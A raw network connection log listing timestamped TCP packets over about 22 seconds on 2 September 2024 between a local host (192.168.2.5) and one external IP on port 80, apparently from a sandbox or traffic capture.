Sep 2, 2024 00:00:04.999564886 CEST	49959	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:05.036569118 CEST	80	49959	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:05.107573032 CEST	49959	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:05.148500919 CEST	49959	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:05.148750067 CEST	49960	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:05.153511047 CEST	80	49960	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:05.153639078 CEST	49960	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:05.153836966 CEST	49960	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:05.153948069 CEST	80	49959	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:05.154025078 CEST	49959	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:05.158536911 CEST	80	49960	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:05.499598026 CEST	49960	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:05.504502058 CEST	80	49960	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:05.903543949 CEST	80	49960	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:05.904201031 CEST	80	49960	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:05.904256105 CEST	49960	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:05.904323101 CEST	80	49960	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:05.904364109 CEST	49960	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.027272940 CEST	49960	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.027648926 CEST	49961	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.032452106 CEST	80	49960	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:06.032463074 CEST	80	49961	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:06.032500029 CEST	49960	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.032533884 CEST	49961	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.032640934 CEST	49961	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.037405968 CEST	80	49961	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:06.388557911 CEST	49961	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.393553972 CEST	80	49961	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:06.625351906 CEST	80	49961	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:06.756535053 CEST	80	49961	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:06.763617992 CEST	49961	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.884074926 CEST	49961	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.885106087 CEST	49962	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.889651060 CEST	80	49961	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:06.889861107 CEST	80	49962	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:06.891763926 CEST	49962	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.891763926 CEST	49961	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.891969919 CEST	49962	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:06.896728992 CEST	80	49962	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:07.247888088 CEST	49962	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:07.252774000 CEST	80	49962	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:07.659379959 CEST	80	49962	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:07.660716057 CEST	80	49962	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:07.660726070 CEST	80	49962	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:07.663651943 CEST	49962	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:07.795522928 CEST	49962	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:07.795844078 CEST	49963	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:07.800611973 CEST	80	49963	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:07.800677061 CEST	49963	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:07.800698996 CEST	80	49962	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:07.800739050 CEST	49962	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:07.800914049 CEST	49963	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:07.805725098 CEST	80	49963	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:08.154167891 CEST	49963	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:08.159967899 CEST	80	49963	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:09.047580957 CEST	49963	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.047584057 CEST	49964	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.166356087 CEST	49965	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.275068998 CEST	80	49963	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:09.275849104 CEST	49963	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.696573973 CEST	80	49963	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:09.696701050 CEST	80	49963	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:09.696953058 CEST	49963	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.696953058 CEST	49963	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.697576046 CEST	80	49963	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:09.698096991 CEST	80	49963	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:09.698204994 CEST	49963	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.698204994 CEST	49963	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.699651003 CEST	80	49964	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:09.699661970 CEST	80	49965	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:09.699783087 CEST	49964	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.699784994 CEST	49965	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.699979067 CEST	49964	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.699982882 CEST	49965	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:09.704699039 CEST	80	49964	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:09.704875946 CEST	80	49965	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.044780016 CEST	49964	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.044789076 CEST	49965	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.049659967 CEST	80	49965	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.049684048 CEST	80	49964	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.049729109 CEST	80	49964	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.271766901 CEST	80	49964	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.274992943 CEST	80	49965	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.334388018 CEST	49965	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.396588087 CEST	80	49964	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.396646023 CEST	49964	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.401866913 CEST	80	49965	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.530361891 CEST	49964	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.530437946 CEST	49965	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.530710936 CEST	49966	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.535375118 CEST	80	49964	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.535418987 CEST	49964	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.535430908 CEST	80	49966	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.535485983 CEST	49966	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.535588980 CEST	49966	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.535648108 CEST	80	49965	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.535691023 CEST	49965	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.540287018 CEST	80	49966	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:10.891587019 CEST	49966	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:10.896472931 CEST	80	49966	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:11.127312899 CEST	80	49966	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:11.171581030 CEST	49966	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:11.256426096 CEST	80	49966	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:11.310682058 CEST	49966	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:11.371581078 CEST	49967	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:11.377434969 CEST	80	49967	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:11.379657984 CEST	49967	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:11.379734993 CEST	49967	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:11.384478092 CEST	80	49967	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:11.732412100 CEST	49967	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:11.737313986 CEST	80	49967	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:11.950737953 CEST	80	49967	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:12.080260992 CEST	80	49967	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:12.080307961 CEST	49967	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:12.198081017 CEST	49967	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:12.198358059 CEST	49968	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:12.203474998 CEST	80	49967	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:12.203527927 CEST	49967	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:12.203814030 CEST	80	49968	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:12.203872919 CEST	49968	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:12.204003096 CEST	49968	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:12.208787918 CEST	80	49968	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:12.560422897 CEST	49968	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:12.566459894 CEST	80	49968	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:13.614795923 CEST	80	49968	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:13.615080118 CEST	80	49968	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:13.615226984 CEST	80	49968	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:13.615314007 CEST	49968	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:13.616333008 CEST	80	49968	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:13.617820978 CEST	49968	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:13.726180077 CEST	49966	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:13.728387117 CEST	49968	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:13.729763985 CEST	49969	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:13.733359098 CEST	80	49968	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:13.733414888 CEST	49968	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:13.734617949 CEST	80	49969	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:13.734678030 CEST	49969	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:13.734761953 CEST	49969	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:13.739492893 CEST	80	49969	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:14.091878891 CEST	49969	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:14.096729994 CEST	80	49969	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:14.318495035 CEST	80	49969	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:14.435332060 CEST	49969	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:14.448175907 CEST	80	49969	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:14.571579933 CEST	49969	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:14.571923971 CEST	49970	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:14.576649904 CEST	80	49969	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:14.576693058 CEST	49969	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:14.576704025 CEST	80	49970	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:14.576770067 CEST	49970	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:14.576858997 CEST	49970	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:14.581556082 CEST	80	49970	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:14.937764883 CEST	49970	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:14.942605972 CEST	80	49970	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.148932934 CEST	80	49970	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.201590061 CEST	49970	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.385018110 CEST	80	49970	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.385027885 CEST	80	49970	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.385150909 CEST	49970	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.429064035 CEST	49971	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.429229021 CEST	49970	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.433945894 CEST	80	49971	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.434086084 CEST	49971	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.434281111 CEST	80	49970	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.434314966 CEST	49971	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.434362888 CEST	49970	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.439146042 CEST	80	49971	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.577709913 CEST	49971	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.587536097 CEST	49972	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.592327118 CEST	80	49972	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.593733072 CEST	49972	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.595546961 CEST	49972	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.600323915 CEST	80	49972	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.630105019 CEST	80	49971	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.864204884 CEST	80	49971	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:15.864264011 CEST	49971	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.951128960 CEST	49972	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:15.955948114 CEST	80	49972	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.101464987 CEST	80	49972	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.102150917 CEST	80	49972	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.102191925 CEST	80	49972	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.102359056 CEST	49972	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.102618933 CEST	80	49972	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.102698088 CEST	49972	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.104275942 CEST	80	49972	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.107656002 CEST	49972	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.226794958 CEST	49972	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.227591991 CEST	49973	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.231796980 CEST	80	49972	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.232362986 CEST	80	49973	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.232461929 CEST	49972	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.232462883 CEST	49973	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.232563019 CEST	49973	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.237298012 CEST	80	49973	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.591746092 CEST	49973	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.596527100 CEST	80	49973	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.815161943 CEST	80	49973	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.857206106 CEST	49973	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.942254066 CEST	80	49973	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.942468882 CEST	49973	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:17.947479963 CEST	80	49973	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:17.947525978 CEST	49973	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.069643974 CEST	49974	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.074493885 CEST	80	49974	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:18.074553013 CEST	49974	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.074744940 CEST	49974	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.079513073 CEST	80	49974	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:18.419977903 CEST	49974	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.424910069 CEST	80	49974	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:18.646594048 CEST	80	49974	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:18.732224941 CEST	49974	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.772744894 CEST	80	49974	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:18.899205923 CEST	49974	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.899207115 CEST	49975	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.904165030 CEST	80	49975	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:18.904310942 CEST	49975	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.904323101 CEST	80	49974	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:18.904351950 CEST	49975	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.904450893 CEST	49974	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:18.909063101 CEST	80	49975	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:19.263602018 CEST	49975	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:19.622869015 CEST	49975	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.127449989 CEST	80	49975	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.127824068 CEST	80	49975	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.127928019 CEST	49975	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.128216028 CEST	80	49975	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.128257036 CEST	49975	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.130175114 CEST	80	49975	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.130630970 CEST	80	49975	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.291922092 CEST	80	49975	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.418078899 CEST	49975	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.418277979 CEST	49976	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.423007011 CEST	80	49976	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.423065901 CEST	49976	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.423182011 CEST	80	49975	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.423191071 CEST	49976	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.423233986 CEST	49975	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.428385973 CEST	80	49976	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.592279911 CEST	49976	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.592590094 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.597357988 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.597418070 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.597517967 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.602221966 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.638075113 CEST	80	49976	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:20.724770069 CEST	49978	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:20.956984043 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:21.421669006 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:21.705091000 CEST	80	49976	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.705545902 CEST	80	49976	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.705641031 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.705673933 CEST	49976	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:21.705673933 CEST	49976	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:21.705704927 CEST	80	49976	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.705765963 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.705771923 CEST	49976	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:21.705885887 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.705890894 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:21.708329916 CEST	80	49978	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.708340883 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.708435059 CEST	49978	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:21.708435059 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:21.708435059 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:21.708587885 CEST	49978	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:21.708815098 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.708825111 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.711801052 CEST	80	49976	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.711808920 CEST	80	49976	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.711817026 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.713206053 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.713309050 CEST	80	49978	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:21.950701952 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:22.060574055 CEST	49978	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:22.065521955 CEST	80	49978	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:22.122833967 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:22.282305002 CEST	80	49978	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:22.435336113 CEST	49978	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.389889002 CEST	80	49978	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:23.389908075 CEST	80	49978	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:23.390022039 CEST	49978	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.390600920 CEST	80	49978	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:23.390702009 CEST	49978	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.391273975 CEST	80	49978	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:23.393699884 CEST	49978	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.510391951 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.510663986 CEST	49978	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.510667086 CEST	49979	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.515535116 CEST	80	49977	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:23.515546083 CEST	80	49979	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:23.515644073 CEST	49979	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.515650034 CEST	49977	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.515777111 CEST	49979	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.515825987 CEST	80	49978	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:23.515913010 CEST	49978	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.522840977 CEST	80	49979	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:23.872951031 CEST	49979	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:23.877720118 CEST	80	49979	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:24.094861031 CEST	80	49979	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:24.221683025 CEST	80	49979	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:24.221754074 CEST	49979	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:24.356781960 CEST	49980	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:24.361560106 CEST	80	49980	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:24.361615896 CEST	49980	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:24.361768961 CEST	49980	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:24.366632938 CEST	80	49980	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:24.716636896 CEST	49980	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:24.722224951 CEST	80	49980	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:24.935853958 CEST	80	49980	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:25.029094934 CEST	49980	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:25.064996004 CEST	80	49980	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:25.179887056 CEST	49980	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:25.180416107 CEST	49981	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:25.184952021 CEST	80	49980	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:25.185189962 CEST	80	49981	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:25.185218096 CEST	49980	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:25.185390949 CEST	49981	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:25.185390949 CEST	49981	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:25.190232992 CEST	80	49981	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:25.545669079 CEST	49981	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:25.620191097 CEST	80	49981	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:25.760416031 CEST	80	49981	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:25.854593039 CEST	49981	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.013711929 CEST	80	49981	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.013813972 CEST	80	49981	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.013856888 CEST	49981	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.139493942 CEST	49981	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.139805079 CEST	49982	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.144774914 CEST	80	49981	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.144823074 CEST	49981	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.144829988 CEST	80	49982	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.144927025 CEST	49982	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.145030975 CEST	49982	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.149714947 CEST	80	49982	94.158.244.70	192.168.2.5
